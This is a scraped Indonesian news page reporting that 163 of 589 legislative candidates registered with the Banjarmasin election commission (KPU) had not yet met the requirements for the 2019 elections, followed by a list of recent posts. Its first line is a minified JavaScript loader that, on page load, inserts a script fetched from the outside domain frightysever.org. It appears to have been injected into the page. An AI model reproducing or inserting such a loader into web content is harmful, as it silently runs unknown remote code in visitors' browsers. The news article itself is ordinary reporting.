(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

163 dari 589 Bacaleg di KPU Banjarmasin Belum Penuhi Syarat


BANJARMASIN, Sebanyak 426 bakal calon legislatif (Bacaleg) yang terdaftar di Komisi Pemilihan Umum (KPU) Kota Banjarmasin dinyatakan telah memenuhi syarat sebagai Caleg.

Hal ini disampaikan Ketua KPU Kota Banjarmasin Khairunnizan. Ia mengatakan dari 589 Bacaleg yang didaftarkan 15 parpol peserta Pileg 2019, hanya 28 persen yang belum memenuhi syarat. “Yang memenuhi syarat sebanyak 426 Bacaleg dan yang tidak memenuhi 163 Bacaleg,” katanya.

Ditambahkannya, keputusan ini telah berdasarkan hasil penelitian administrasi yang sudah dilakukan KPU Kota Banjarmasin hasil seleksi dari berkas masing-masing Bacaleg sejak diterima penyerahan dari 4 Juli lalu sampai dengan 17 Juli 2018.

“Hal ini sudah dipaparkan sebelumnya bahwa 15 parpol saja PKPI tidak mendaftarkan calegnya untuk di Kota Banjarmasin,” ucapnya.

Dijelaskannya, terkait satu partai yang tidak mengusungkan caleg yaitu  PKPI, maka secara otomatis parpol tersebut tidak bisa ikut di Pileg 2019 di kota ini.

Terkait hasil verifikasi Bacaleg semua parpol yang sudah diumumkan, Khairunnizan menyatakan, masih diberikan kesempatan untuk memperbaiki berkas hingga 30 Juli 2018.

Menurut dia, semua parpol yang menyerahkan daftar Bacaleg terdapat Bacaleg yang belum memenuhi syarat, diantaranya tidak terlampirkan ijazah tamat sekolah yang terakhir, atau ketinggalan tanda tangan di formulir B1 atau B2.

“Ada sejumlah item yang harus dipenuhi Bacaleg itu, tidak hanya dokumen identitas diri, namun juga surat kesehatan jasmani, rohani dan terjamin tidak menggunakan narkoba, termasuk tidak pernah sebagai narapidana,” jelasnya.

Penelitian berkas Bacaleg ini dilakukan sangat teliti sehingga figur yang dimunculkan Parpol benar-benar bersih dan bermartabat. “Kita menjalankan tugas sesuai aturan, sehingga yang kita putuskan itu berpijak pada aturan tersebut,” pungkasnya. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

2 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

3 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

4 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

4 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

5 jam ago

Api Dini Hari di Pelambuan, 75 Jiwa Kehilangan Tempat Tinggal

KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More

6 jam ago

This website uses cookies.